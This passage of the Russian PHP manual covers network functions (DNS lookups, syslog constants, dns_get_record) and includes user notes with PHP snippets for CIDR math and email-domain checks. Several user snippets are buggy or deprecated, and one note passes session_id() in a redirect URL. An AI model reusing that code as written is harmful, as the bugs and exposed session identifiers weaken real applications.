                case 2540:
                    return "Channel name is unknown.";
                default:
                    return "Unexpected error ({$errorCode})";
            }
        }
    }

    // ... wrapper class ...
?>


Сеть

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Сетевые функции
    • checkdnsrr — Проверяет записи DNS, соответствующие переданному имени узла Интернета или IP-адресу
    • closelog — Закрывает соединение с системным журналом
    • dns_check_record — Псевдоним checkdnsrr
    • dns_get_mx — Псевдоним getmxrr
    • dns_get_record — Получение ресурсных записей DNS хоста
    • fsockopen — Открывает соединение с интернет-сокетом или доменным сокетом Unix
    • gethostbyaddr — Получает доменное имя хоста, соответствующее переданному IP-адресу
    • gethostbyname — Получает IPv4-адрес, соответствующий переданному имени хоста
    • gethostbynamel — Получает список IPv4-адресов, соответствующих переданному доменному имени хоста
    • gethostname — Получает имя хоста
    • getmxrr — Получает записи MX, соответствующие переданному доменному имени хоста
    • getprotobyname — Получает номер протокола по имени
    • getprotobynumber — Получает имя протокола по номеру
    • getservbyname — Получает номер порта, связанного с интернет-службой и протоколом
    • getservbyport — Получает интернет-службу, соответствующую заданному порту и протоколу
    • header_register_callback — Вызывает функцию заголовка
    • header_remove — Удаляет ранее установленные заголовки
    • header — Отправка HTTP-заголовка
    • headers_list — Возвращает список переданных заголовков (или готовых к отправке)
    • headers_sent — Проверяет, были ли отправлены заголовки
    • http_response_code — Получает или устанавливает код ответа HTTP
    • inet_ntop — Конвертирует упакованный интернет-адрес в читаемый формат
    • inet_pton — Конвертирует читаемый IP-адрес в его упакованное представление in_addr
    • ip2long — Конвертирует строку, содержащую IPv4-адрес в целое число
    • long2ip — Конвертирует целое число в IPv4-адрес
    • net_get_interfaces — Получает сетевые интерфейсы
    • openlog — Открывает соединение к системному журналу
    • pfsockopen — Открывает постоянное соединение с интернет-сокетом или доменным сокетом Unix
    • setcookie — Отправляет cookie
    • setrawcookie — Отправляет cookie без URL-кодирования значения
    • socket_get_status — Псевдоним stream_get_meta_data
    • socket_set_blocking — Псевдоним stream_set_blocking
    • socket_set_timeout — Псевдоним stream_set_timeout
    • syslog — Генерирует сообщение для системного журнала

User Contributed Notes

There are no user contributed notes for this page.


Введение

Предоставляет различные функции для работы с сетью.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Функции checkdnsrr(), getmxrr() и dns_get_record() требуют наличия Bind в Linux.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Этот модуль определяет ресурс файлового указателя, возвращаемого функциями fsockopen() и pfsockopen().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы всегда доступны как часть ядра PHP.

Опции openlog()
Константа | Описание
LOG_CONS | если при передаче данных системному журналу произошла ошибка, произвести вывод в системную консоль
LOG_NDELAY | немедленно открыть соединение со службой журналирования
LOG_ODELAY | (по умолчанию) отсрочить открытие соединения до появления первого сообщения
LOG_NOWAIT |
LOG_PERROR | вывод журнала вместе со стандартной ошибкой
LOG_PID | добавить PID к каждому сообщению
Средства openlog()
Константа | Описание
LOG_AUTH | сообщения безопасности/авторизации (используйте LOG_AUTHPRIV в системах, где эта константа определена)
LOG_AUTHPRIV | сообщения безопасности/авторизации (частное)
LOG_CRON | планировщик событий (cron и at)
LOG_DAEMON | другие системные службы
LOG_KERN | сообщения ядра
LOG_LOCAL0 ... LOG_LOCAL7 | зарезервированы для локального использования, недоступны в Windows
LOG_LPR | подсистема построчной печати
LOG_MAIL | почтовая подсистема
LOG_NEWS | подсистема новостей USENET
LOG_SYSLOG | сообщения, сгенерированные syslogd
LOG_USER | общие сообщения уровня пользователя
LOG_UUCP | подсистема UUCP
Приоритеты syslog() (в порядке убывания)
Константа | Описание
LOG_EMERG | система не может быть использована
LOG_ALERT | необходимо незамедлительное действие
LOG_CRIT | критические условия
LOG_ERR | условия ошибки
LOG_WARNING | условия предупреждения
LOG_NOTICE | нормальное, но значительное состояние
LOG_INFO | информационное сообщение
LOG_DEBUG | сообщения уровня отладки
Опции dns_get_record()
Константа | Описание
DNS_A | Ресурсная запись IPv4
DNS_CAA | Ресурсная запись Authority Authorization Resource (доступно с PHP 7.0.16 и с 7.1.2)
DNS_MX | Ресурсная запись Mail Exchanger
DNS_CNAME | Ресурсная запись Canonical Name
DNS_NS | Ресурсная запись Name Server
DNS_PTR | Ресурсная запись Pointer
DNS_HINFO | Ресурс Host Info (Смотрите » IANA Названия операционных систем для получения расшифровки значений)
DNS_SOA | Ресурсная запись SOA
DNS_TXT | Ресурсная запись текстового типа
DNS_ANY | Любая ресурсная запись. На большинстве систем возвращает все ресурсные записи, однако для использования в критических условиях не подходит. Вместо этого необходимо использовать DNS_ALL
DNS_AAAA | Ресурсная запись IPv6
DNS_ALL | Итеративно опрашивает DNS сервер по каждому доступному типу записи.

User Contributed Notes

arash dot dalir at gmail dot com 12-Jun-2018 08:29
FYI, on windows, the vlaues for LOG_* "log-levels" are as followed:

<?php
namespace Test;

include 'vendor/autoload.php';

use Psr\Log\LogLevel;

$log_levels = array(
    LogLevel::EMERGENCY => LOG_EMERG,
    LogLevel::ALERT => LOG_ALERT,
    LogLevel::CRITICAL => LOG_CRIT,
    LogLevel::ERROR => LOG_ERR,
    LogLevel::WARNING => LOG_WARNING,
    LogLevel::NOTICE => LOG_NOTICE,
    LogLevel::INFO => LOG_INFO,
    LogLevel::DEBUG => LOG_DEBUG,
);

print_r($log_levels);
/*
prints:

Array
(
    [emergency] => 1
    [alert] => 1
    [critical] => 1
    [error] => 4
    [warning] => 5
    [notice] => 6
    [info] => 6
    [debug] => 6
)
*/


Сетевые функции

Содержание

  • checkdnsrr — Проверяет записи DNS, соответствующие переданному имени узла Интернета или IP-адресу
  • closelog — Закрывает соединение с системным журналом
  • dns_check_record — Псевдоним checkdnsrr
  • dns_get_mx — Псевдоним getmxrr
  • dns_get_record — Получение ресурсных записей DNS хоста
  • fsockopen — Открывает соединение с интернет-сокетом или доменным сокетом Unix
  • gethostbyaddr — Получает доменное имя хоста, соответствующее переданному IP-адресу
  • gethostbyname — Получает IPv4-адрес, соответствующий переданному имени хоста
  • gethostbynamel — Получает список IPv4-адресов, соответствующих переданному доменному имени хоста
  • gethostname — Получает имя хоста
  • getmxrr — Получает записи MX, соответствующие переданному доменному имени хоста
  • getprotobyname — Получает номер протокола по имени
  • getprotobynumber — Получает имя протокола по номеру
  • getservbyname — Получает номер порта, связанного с интернет-службой и протоколом
  • getservbyport — Получает интернет-службу, соответствующую заданному порту и протоколу
  • header_register_callback — Вызывает функцию заголовка
  • header_remove — Удаляет ранее установленные заголовки
  • header — Отправка HTTP-заголовка
  • headers_list — Возвращает список переданных заголовков (или готовых к отправке)
  • headers_sent — Проверяет, были ли отправлены заголовки
  • http_response_code — Получает или устанавливает код ответа HTTP
  • inet_ntop — Конвертирует упакованный интернет-адрес в читаемый формат
  • inet_pton — Конвертирует читаемый IP-адрес в его упакованное представление in_addr
  • ip2long — Конвертирует строку, содержащую IPv4-адрес в целое число
  • long2ip — Конвертирует целое число в IPv4-адрес
  • net_get_interfaces — Получает сетевые интерфейсы
  • openlog — Открывает соединение к системному журналу
  • pfsockopen — Открывает постоянное соединение с интернет-сокетом или доменным сокетом Unix
  • setcookie — Отправляет cookie
  • setrawcookie — Отправляет cookie без URL-кодирования значения
  • socket_get_status — Псевдоним stream_get_meta_data
  • socket_set_blocking — Псевдоним stream_set_blocking
  • socket_set_timeout — Псевдоним stream_set_timeout
  • syslog — Генерирует сообщение для системного журнала

User Contributed Notes

Anton Avramov - lukav at lukav dot com 16-May-2017 02:41
An improved version of claudiu at cnixs dot com not using split and working with the following:
ip: 192.168.101.123, CIRD: 192.168.101.144/24

<?php
function ipCIDRCheck ($IP, $CIDR) {
    list ($net, $mask) = explode ('/', $CIDR);

    $ip_net = ip2long ($net);
    $ip_mask = ~((1 << (32 - $mask)) - 1);

    $ip_ip = ip2long ($IP);

    return (($ip_ip & $ip_mask) == ($ip_net & $ip_mask));
  }
?>
Anonymous 16-Jun-2016 05:15
improved version of philippe-at-cyberabuse.org's answer:

<?php
function cidrconv($net) {
    $start = strtok($net,"/");
    $n = 3 - substr_count($net, ".");
    if ($n > 0)
    {
        for ($i = $n;$i > 0; $i--)
            $start .= ".0";
    }
    $bits1 = str_pad(decbin(ip2long($start)), 32, "0", STR_PAD_LEFT);
    $net = (1 << (32 - substr(strstr($net, "/"), 1))) - 1;
    $bits2 = str_pad(decbin($net), 32, "0", STR_PAD_LEFT);
    $final = "";
    for ($i = 0; $i < 32; $i++)
    {
        if ($bits1[$i] == $bits2[$i]) $final .= $bits1[$i];
        if ($bits1[$i] == 1 and $bits2[$i] == 0) $final .= $bits1[$i];
        if ($bits1[$i] == 0 and $bits2[$i] == 1) $final .= $bits2[$i];
    }
    return array($start, long2ip(bindec($final)));
}
?>
-dR 13-Nov-2015 11:40
This little function might come in handy

<?php
function cidr_range( $cidr, $chkip=null )
{
    // Assign IP / mask
    list($ip,$mask) = explode("/",$cidr);

    // Sanitize IP
    $ip1 = preg_replace( '_(\d+\.\d+\.\d+\.\d+).*$_', '$1', "$ip.0.0.0" );

    // Calculate range
    $ip2 = long2ip( ip2long( $ip1 ) - 1 + ( 1 << ( 32 - $mask) ) );

    // are we cidr range cheking?
    if ( $chkip != null && ! filter_var( $chkip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) === false )
    {
        return ip2long( $ip1 ) <= ip2long( $chkip ) && ip2long( $ip2 ) >= ip2long( $chkip ) ? true : false;
    } else {
        return "$ip1 - $ip2";
    }
}

var_dump( cidr_range( "127.0/16", "127.0.0.1" ) );   // bool(true)
var_dump( cidr_range( "127.0/16", "192.168.0.1" ) ); // bool(false)
var_dump( cidr_range( "192.168.0.0/24" ) );          // string(27) "192.168.0.0 - 192.168.0.255"

?>
David GASTALDIN 21-Jun-2007 08:12
Here a IP-Range to CIDRs function that I wrote for the purpose of filling my Postfix client.cidr with ripe-ncc data to block spamming from useless countries. Strcmp functions are meant to work around the silly PHP string comparison which inevitably tries compare strings as numbers when possible. I'll make no comment about that fact ... bit I have to bite my tong hard :

function PlageVersCIDRs($ip_min, $ip_max) {
    $cidrs = array();
    $ip_min_bin = sprintf('%032b', $ip_min);
    $ip_max_bin = sprintf('%032b', $ip_max);
    $ip_cour_bin = $ip_min_bin;
    while (strcmp($ip_cour_bin, $ip_max_bin) <= 0) {
        $lng_reseau = 32;
        $ip_reseau_bin = $ip_cour_bin;
        while (($ip_cour_bin[$lng_reseau - 1] == '0') && (strcmp(substr_replace($ip_reseau_bin, '1', $lng_reseau - 1, 1), $ip_max_bin) <= 0)) {
            $ip_reseau_bin[$lng_reseau - 1] = '1';
            $lng_reseau--;
        }
        $cidrs[] = long2ip(bindec($ip_cour_bin)).'/'.$lng_reseau;
        $ip_cour_bin = sprintf('%032b', bindec($ip_reseau_bin) + 1);
    }
    return $cidrs;
}
claudiu at cnixs dot com 22-Apr-2007 02:52
A simple and very fast function to check against CIDR.

Your previous examples are too complicated and involves a lot of functions call.

Here it is (only with arithmetic operators and call only to ip2long () and split() ):
<?php
  function ipCIDRCheck ($IP, $CIDR) {
    list ($net, $mask) = split ("/", $CIDR);

    $ip_net = ip2long ($net);
    $ip_mask = ~((1 << (32 - $mask)) - 1);

    $ip_ip = ip2long ($IP);

    $ip_ip_net = $ip_ip & $ip_mask;

    return ($ip_ip_net == $ip_net);
  }
?>
call example: <?php echo ipCheck ("192.168.1.23", "192.168.1.0/24"); ?>
dand at ddchosting.com 08-Apr-2006 02:28
When I was working on a project I ran into this problem with redirecting. My solution is as follows:
header("Refresh: 5; url=../main/main.php?".session_id()."");

This allowed me to pass the session_id() which is used throughout site to make sure user has loged in.
I hope this helps!
metator at netcabo dot pt 27-Jul-2005 08:22
Regarding samuele's note:

You can get faster code if you apply directly what happens in  network devices, such as routers. If you AND (logic operation) the remote ip against the local netmask the result will be the network ip if the remote ip is from the local network. Example:

    192.168.0.16 = 11000000.10101000.00000000.00010000
& 255.255.255.0 = 11111111.11111111.11111111.00000000
--------------------------------------------------------------
   192.168.0.0 = 11000000.10101000.00000000.00000000

And now the code. My example uses a html form where you place the values you want to test:

<HTML><HEAD><TITLE>Check IP</TITLE>
</HEAD><BODY>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

Hope you find this useful.
        IP to check: <input type="text" name="ip"> <br>
        Local network ip: <input type="text" name="net"> <br>
        Local netmask: <input type="text" name="mask"> <br>
        <input type="submit" name="check" value="Check it!">
    </form>
    <?php

/**
 * @param string $ip IP to check in dotted decimal format
 * @param string $net Network IP in dotted decimal format
 * @param string $mask Netmask in dotted decimal format
 * @returns true if the ip belongs to the network, false otherwise
 **/
function isIPIn($ip, $net, $mask) {
    //doesn't check for the return value of ip2long
    $ip = ip2long($_POST['ip']);
    $rede = ip2long($_POST['net']);
    $mask = ip2long($_POST['mask']);

    //AND
    $res = $ip & $mask;

    return ($res == $rede);
}

if (isset($_POST['check'])) {
     echo isIPIn($_POST['ip'], $_POST['net'], $_POST['mask']) ? "IP IN.": "IP OUT.";
}
 ?>
</BODY><HTML>
nexxer at rogers dot com 24-Feb-2005 05:16
In Trevor Hemsley's translation of the perl range2cidr function, the

while ($end > $start)

condition should be

while ($end >= $start)

otherwise it won't work for /32s, ie if you feed range2cidr("1.2.3.4", "1.2.3.4").

-- nex
samuele at norsam dot org 25-Nov-2003 09:01
To find if an IP is in a net/mask (very fast):
<?php
function isIPIn($ip,$net,$mask) {
   $lnet=ip2long($net);
   $lip=ip2long($ip);
   $binnet=str_pad( decbin($lnet),32,"0","STR_PAD_LEFT" );
   $firstpart=substr($binnet,0,$mask);
   $binip=str_pad( decbin($lip),32,"0","STR_PAD_LEFT" );
   $firstip=substr($binip,0,$mask);
   return(strcmp($firstpart,$firstip)==0);
   }
?>

This function can be compacted, avoiding some variable settings, but the function will not be too clear to read...
Example code, used to made a kind of location service network-based:

<?php
$n = array ( "192.168.0.0/16"   => "TUSCANY",
             "192.168.1.0/24"   => "- Florence",
             "192.168.2.0/24"   => "- Pisa",
             "192.168.3.0/24"   => "- Siena",
             "192.168.64.0/21" => "- Tuscan Archipelago",
             "192.168.64.0/23" => "--- Elba Island",
             "192.168.66.0/24" => "--- Capraia Island",
             "192.168.67.0/24" => "--- Giannutri Island");

// Normally you should use the following line
$myip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
// This is first example: returns Tuscany/Pisa
$myip = "192.168.2.33";
// This is second example: returns Tuscany/T.Arch./Elba
$myip = "192.168.65.34";

echo "Your position:<br />\n";
foreach ( $n as $k=>$v ) {
   list($net,$mask)=split("/",$k);
   if (isIPIn($myip,$net,$mask)) {
       echo $n[$k]."<br />\n"; }
   }
?>

and so on...
anderson at piq dot com dot br 06-Aug-2003 10:10
If you want to get the interface of an IP, based on the local route table, use this.

function GetIfaceforIP($user_ip)
{
    $route = "/bin/netstat -rn";

    exec($route, $aoutput);
    foreach($aoutput as $key => $line)
    {
        if($key > 1)
        {
            $line = ereg_replace("[[:space:]]+",",",$line);
            list($network, $gateway, $mask, $flags, $mss, $window, $irtt, $iface) = explode(",", $line)
            if((ip2long($user_ip) & ip2long($mask)) == ip2long($network))
            {
                return $iface;
            }
        }
    }
}
02-Apr-2003 08:11
Alternative cidr_conv function - a little easier to follow

function cidr_conv($cidr_address) {
  $first = substr($cidr_address, 0, strpos($cidr_address, "/"));
  $netmask = substr(strstr($cidr_address, "/"), 1);

  $first_bin = str_pad(decbin(ip2long($first)), 32, "0", STR_PAD_LEFT);
  $netmask_bin = str_pad(str_repeat("1", (integer)$netmask), 32, "0", STR_PAD_RIGHT);

  for ($i = 0; $i < 32; $i++) {
    if ($netmask_bin[$i] == "1")
      $last_bin .= $first_bin[$i];
    else
      $last_bin .= "1";
  }

  $last = long2ip(bindec($last_bin));

  return "$first - $last";
}
trevor-hemsley at nospam dot dial dot pipex dot com 16-Oct-2002 11:53
Previous example of IP range to CIDR list does not cope with ranges as well as the perl Net::Netmask range2cidrlist() function. In PHP this looks like

<?
function imask($this)
{
// use base_convert not dechex because dechex is broken and returns 0x80000000 instead of 0xffffffff
return base_convert((pow(2,32) - pow(2, (32-$this)))), 10, 16);
}

function imaxblock($ibase, $tbit)
{
while ($tbit > 0)
{
$im = hexdec(imask($tbit-1));
$imand = $ibase & $im;
if ($imand != $ibase)
{
break;
}
$tbit--;
}
return $tbit;
}

function range2cidrlist($istart, $iend)
{
// this function returns an array of cidr lists that map the range given
$s = explode(".", $istart);
// PHP ip2long does not handle leading zeros on IP addresses! 172.016 comes back as 172.14, seems to be treated as octal!
$start = "";
$dot = "";
while (list($key,$val) = each($s))
{
$start = sprintf("%s%s%d",$start,$dot,$val);
$dot = ".";
}
$end = "";
$dot = "";
$e = explode(".",$iend);
while (list($key,$val) = each($e))
{
$end = sprintf("%s%s%d",$end,$dot,$val);
$dot = ".";
}
$start = ip2long($start);
$end = ip2long($end);
$result = array();
while ($end > $start)
{
$maxsize = imaxblock($start,32);
$x = log($end - $start + 1)/log(2);
$maxdiff = floor(32 - floor($x));
$ip = long2ip($start);
if ($maxsize < $maxdiff)
{
$maxsize = $maxdiff;
}
array_push($result,"$ip/$maxsize");
$start += pow(2, (32-$maxsize));
}
return $result;
}
?>
philippe-at-cyberabuse.org 12-Oct-2002 03:49
... and this one will do the opposite (o return NULL for invalid netblocks) :

1.0.0.0 1.0.255.255 -> 1.0.0.0/16
1.0.0.0 1.3.255.255 -> 1.0.0.0/14
192.168.0.0 192.168.0.255 -> 192.168.0.0/24

function ip2cidr($ip_start,$ip_end) {
if(long2ip(ip2long($ip_start))!=$ip_start or long2ip(ip2long($ip_end))!=$ip_end) return NULL;
$ipl_start=(int)ip2long($ip_start);
$ipl_end=(int)ip2long($ip_end);
if($ipl_start>0 && $ipl_end<0) $delta=($ipl_end+4294967296)-$ipl_start;
else $delta=$ipl_end-$ipl_start;
$netmask=str_pad(decbin($delta),32,"0","STR_PAD_LEFT");
if(ip2long($ip_start)==0 && substr_count($netmask,"1")==32) return "0.0.0.0/0";
if($delta<0 or ($delta>0 && $delta%2==0)) return NULL;
for($mask=0;$mask<32;$mask++) if($netmask[$mask]==1) break;
if(substr_count($netmask,"0")!=$mask) return NULL;
return "$ip_start/$mask";
}
philippe-at-cyberabuse.org 14-Dec-2001 07:46
PHP miss CIDR functions.

This one will convert a CIDR like this:
0.0.0.0/16 -> 0.0.0.0 - 0.0.255.255
127.0/16 -> 127.0.0.0 - 127.0.255.255
etc...

function cidrconv($net) {
$start=strtok($net,"/");
$n=3-substr_count($net, ".");
if ($n>0) { for ($i=$n;$i>0;$i--) $start.=".0"; }
$bits1=str_pad(decbin(ip2long($start)),32,"0","STR_PAD_LEFT");
$net=pow(2,(32-substr(strstr($net,"/"),1)))-1;
$bits2=str_pad(decbin($net),32,"0","STR_PAD_LEFT");
for ($i=0;$i<32;$i++) {
if ($bits1[$i]==$bits2[$i]) $final.=$bits1[$i];
if ($bits1[$i]==1 and $bits2[$i]==0) $final.=$bits1[$i];
if ($bits1[$i]==0 and $bits2[$i]==1) $final.=$bits2[$i];
}
return $start." - ".long2ip(bindec($final));
}


Проверяет записи DNS, соответствующие переданному имени узла Интернета или IP-адресу

  • « Сетевые функции
  • closelog »
  • PHP Manual
  • Сетевые функции
  • Проверяет записи DNS, соответствующие переданному имени узла Интернета или IP-адресу

checkdnsrr

(PHP 4, PHP 5, PHP 7, PHP 8)

checkdnsrr — Проверяет записи DNS, соответствующие переданному имени узла Интернета или IP-адресу

Описание

checkdnsrr(string $hostname, string $type = "MX"): bool

Ищет записи DNS типа type, соответствующие hostname.

Список параметров

hostname

Параметр hostname может быть IP-адресом в виде четырёх десятичных чисел, разделённых точками, или именем узла.

type

Параметр type может быть одним из: A, MX, NS, SOA, PTR, CNAME, AAAA, A6, SRV, NAPTR, TXT или ANY.

Возвращаемые значения

Возвращает true, если были найдены записи; возвращает false, если записей не было найдено или произошла ошибка.

Примечания

Замечание:

Для совместимости с более ранними версиями PHP под Windows, где не было реализации этой функции, используйте класс » PEAR » Net_DNS.

Смотрите также

  • dns_get_record() - Получение ресурсных записей DNS хоста
  • getmxrr() - Получает записи MX, соответствующие переданному доменному имени хоста
  • gethostbyaddr() - Получает доменное имя хоста, соответствующее переданному IP-адресу
  • gethostbyname() - Получает IPv4-адрес, соответствующий переданному имени хоста
  • gethostbynamel() - Получает список IPv4-адресов, соответствующих переданному доменному имени хоста
  • страница руководства named(8)

User Contributed Notes

n at zay dot uk 02-Jul-2021 11:39
I always think you should state the blindingly obvious.
A function that contains checkdnsrr will return false without an internet connection.
So in a production environment you need an active internet connection to return a true result with a valid email address.
dobs 24-Jul-2018 09:04
$this->_buf - for bulk check cache

function ValidateEmail($email)
    {
        list($user, $domain) = explode('@', $email);

        if (!filter_var($email, FILTER_VALIDATE_EMAIL) !== FALSE)
            return 0;

        if (isset($this->_buf[$domain]))
            return $this->_buf[$domain];

        if (checkdnsrr($domain) === FALSE) {
            $this->_buf[$domain] = 0;
            return 0;
        }
        $this->_buf[$domain] = 1;

        return 1;
    }
Martin 30-Sep-2016 10:02
Important Warning:

You need to add a dot to the end of the host name to make a fully qualified domain name.

To see why, try executing the following pieces of code:

$d1="gmail.con";
$d2="gmail.con.";
$r1=checkdnsrr($d1, "MX");
$r2=checkdnsrr($d2, "MX");
var_dump($r1);
var_dump($r2);

You will see that without the dot it claims that the domain "gmail.con" is valid.

Note that if you time the "checkdnsrr()" calls you will also see it takes longer without the dot because it treats it as a relative domain and does several tries based on the host name it is running on.

NB: in case you're interested, being treated as a relative domain explains what is happening. If your host is "example.com" the relative domain will eventually resolve to "gmail.con.com." which can be looked up, hence it wrongly claims "gmail.con" exists
Krisztin Ferenczi 27-Oct-2013 11:12
criffoh at gmail dot com is right. Before you check domain, you must convert to ascii with idn_to_ascii function:
http://us2.php.net/manual/en/function.idn-to-ascii.php .

var_dump(checkdnsrr('nandu.cl', 'A')); // returns false
var_dump(checkdnsrr(idn_to_ascii('nandu.cl'), 'A')); // return true
criffoh at gmail dot com 18-Jul-2013 02:57
Is not possible validate domains with 'n' for my country.

In my country is possible to register domain using 'n' character. For example:

nandu.cl
http://nic.cl/cgi-bin/dom-CL?q=%F1andu

If I use this function to check DNS record, it return false, but the domain already exists:

var_dump(checkdnsrr('nandu.cl', 'A')); // returns false
Patrick 13-Dec-2004 07:53
This is a little code example that will validate an email address in two ways:
- first the general syntax of the string is checked with a regular expression
- then the domain substring (after the '@') is checked using the 'checkdnsrr' function

<?php

function validate_email($email){

   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";

   if(eregi($exp,$email)){

      if(checkdnsrr(array_pop(explode("@",$email)),"MX")){
        return true;
      }else{
        return false;
      }

   }else{

      return false;

   }
}

?>


Закрывает соединение с системным журналом

  • « checkdnsrr
  • dns_check_record »
  • PHP Manual
  • Сетевые функции
  • Закрывает соединение с системным журналом

closelog

(PHP 4, PHP 5, PHP 7, PHP 8)

closelog — Закрывает соединение с системным журналом

Описание

closelog(): true

Функция closelog() закрывает дескриптор, используемый для записи в системный журнал. Использование closelog() не является обязательным.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция всегда возвращает true.

Смотрите также

  • syslog() - Генерирует сообщение для системного журнала
  • openlog() - Открывает соединение к системному журналу

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним checkdnsrr

  • « closelog
  • dns_get_mx »
  • PHP Manual
  • Сетевые функции
  • Псевдоним checkdnsrr

dns_check_record

(PHP 5, PHP 7, PHP 8)

dns_check_record — Псевдоним checkdnsrr()

Описание

Функция является псевдонимом: checkdnsrr().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним getmxrr

  • « dns_check_record
  • dns_get_record »
  • PHP Manual
  • Сетевые функции
  • Псевдоним getmxrr

dns_get_mx

(PHP 5, PHP 7, PHP 8)

dns_get_mx — Псевдоним getmxrr()

Описание

Функция является псевдонимом: getmxrr().

User Contributed Notes

There are no user contributed notes for this page.


Получение ресурсных записей DNS хоста

  • « dns_get_mx
  • fsockopen »
  • PHP Manual
  • Сетевые функции
  • Получение ресурсных записей DNS хоста

dns_get_record

(PHP 5, PHP 7, PHP 8)

dns_get_record — Получение ресурсных записей DNS хоста

Описание

dns_get_record(
string $hostname,
int $type = DNS_ANY,
array &$authoritative_name_servers = null,
array &$additional_records = null,
bool $raw = false
): array|false

Производит выборку DNS-записей, соответствующих свойствам хоста hostname.

Список параметров

hostname

Параметр hostname должен быть корректным DNS-именем таким как "www.example.com". Обратное разрешение имён хостов может быть произведено с использованием нотации in-addr.arpa, однако, для этой цели лучше воспользоваться функцией gethostbyaddr().

Замечание:

В соответствии со стандартами DNS, адреса электронной почты задаются в формате user.host (например, hostmaster.example.com в отличие от hostmaster@example.com), поэтому будьте внимательны и дополнительно проверьте это значение, прежде чем использовать его в таких функциях, как mail().

type

По умолчанию dns_get_record() будет искать все возможные записи, соответствующие заданному имени хоста hostname. Чтобы сузить круг поиска, можно задать необязательный параметр type. Этот параметр может принимать следующие значения: DNS_A, DNS_CNAME, DNS_HINFO, DNS_CAA, DNS_MX, DNS_NS, DNS_PTR, DNS_SOA, DNS_TXT, DNS_AAAA, DNS_SRV, DNS_NAPTR, DNS_A6, DNS_ALL или DNS_ANY.

Замечание:

Из-за неоднозначного поведения libresolv на разных платформах, DNS_ANY может вернуть не все записи, более медленный DNS_ALL вернёт все записи надёжнее.

Замечание:

Windows: DNS_CAA не поддерживается. Поддержка DNS_A6 не реализована.

authoritative_name_servers

Передаётся по ссылке и, если передан, будет заполняться ресурсными записями для удостоверяющих серверов имён (Authoritative Name Servers).

additional_records

Передаётся по ссылке и, если передан, будет заполняться дополнительными записями (Additional Records).

raw

type будет интерпретирован, как необработанный идентификатор типа DNS (нельзя использовать константы DNS_*). Возвращаемое значение будет содержать ключ data, который необходимо проанализировать вручную.

Возвращаемые значения

Эта функция возвращает массив ассоциативных массивов или false в случае возникновения ошибки. Каждый ассоциативный массив содержит по меньшей мере следующие ключи:

Основные атрибуты DNS
Атрибут | Описание
host | Запись в пространстве имён DNS, на которую ссылается оставшаяся часть данных.
class | dns_get_record() возвращает только записи класса Internet, соответственно этот параметр всегда будет принимать значение IN.
type | Строка, содержащая тип записи. Дополнительные атрибуты также будут содержаться в результирующем массиве в зависимости от типа. По одному вложенному массиву на каждый тип. Смотрите таблицу ниже.
ttl | Время жизни ("Time To Live") оставшееся для этой записи. Это не исходное ttl записи. Оно равно исходному за вычетом времени прошедшего с момента отправки запроса на сервер.

Другие ключи ассоциативного массива, соответствующие типу 'type'
Тип записи | Дополнительные данные
A | ip: адреса IPv4 в десятичном формате с разделителями точками.
MX | pri: Приоритет почтового сервера. Чем ниже число, тем выше приоритет. target: FQDN почтового сервера. Смотрите также dns_get_mx().
CNAME | target: FQDN места расположения в пространстве имён DNS, на которое указывает запись.
NS | target: FQDN имя сервера, который является авторитетным для этого имени хоста.
PTR | target: Расположение без указания пространства имён DNS, на которое указывает запись.
TXT | txt: Строка данных, связанных с этой записью.
HINFO | cpu: число IANA, обозначающее модель процессора компьютера, на который указывает эта запись. os: число IANA, обозначающее операционную систему компьютера, на который указывает эта запись. Смотрите дополнительно IANA » Operating System Names.
CAA | flags: Однобайтовое битовое поле; в текущий момент определён только бит номер 0, называющийся 'critical'; другие биты зарезервированы и должны игнорироваться. tag: Имя тега CAA (буквенно-числовая строка ASCII). value: Значение тега CAA (бинарная строка, можно использовать подформаты). Более подробно читайте тут: » RFC 6844
SOA | mname: FQDN изначального компьютера, с которого получены ресурсные записи. rname: Адрес электронной почты администратора домена. serial: Порядковый номер этой ревизии запрашиваемого домена. refresh: Интервал времени (в секундах), который должны использовать вторичные сервера при обновлении удалённых копий этого домена. retry: Время ожидания (в секундах) после неудачного обновления до следующей попытки. expire: Максимальное время (в секундах), в течение которого вторичный DNS-сервер должен держать в памяти данные удалённых копий доменной зоны, прежде чем ответить отказом, когда не удаётся обновить данные. minimum-ttl: Минимальное время (в секундах), в течение которого клиент может работать с текущим DNS-разрешением, прежде чем ему придётся повторно запрашивать это разрешение. Значение может быть замещено отдельными ресурсными записями.
AAAA | ipv6: адрес IPv6
A6 | masklen: Длина (в битах), которую нужно унаследовать от целевого адреса chain. ipv6: Адрес для этой конкретной записи, который нужно объединить с chain. chain: Запись, которую нужно дополнить данными ipv6.
SRV | pri: (Приоритет) меньшие значения должны использоваться первыми. weight: Ранжирование. Записям с большим весом отдаётся предпочтение. targets должен выбираться случайно. target и port: имя хоста и номер порта, на котором можно найти запрошенную службу. Дополнительную информацию можно получить по ссылке: » RFC 2782
NAPTR | order и pref: Эквивалентны pri и weight приведённым выше. flags, services, regex и replacement: Параметры, определённые в » RFC 2915.

Список изменений

Версия | Описание
7.0.16, 7.1.2 | Добавлена поддержка записей типа CAA.

Примеры

Пример #1 Пример использования dns_get_record()

<?php
$result = dns_get_record("php.net");
print_r($result);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)

Пример #2 Использование dns_get_record() с DNS_ANY

Так как довольно часто требуется определить IP-адрес почтового сервера, после того как запись MX была разрешена, dns_get_record() возвращает массив additional_records с соответствующими записями. Массив authoritative_name_servers будет содержать список удостоверяющих DNS-серверов.

<?php
/* Отправим "ANY" запрос к php.net,
создадим массивы $authns и $addtl,
в которые будут помещён список серверов
имён и дополнительные записи,
соответствующие этим серверам
*/
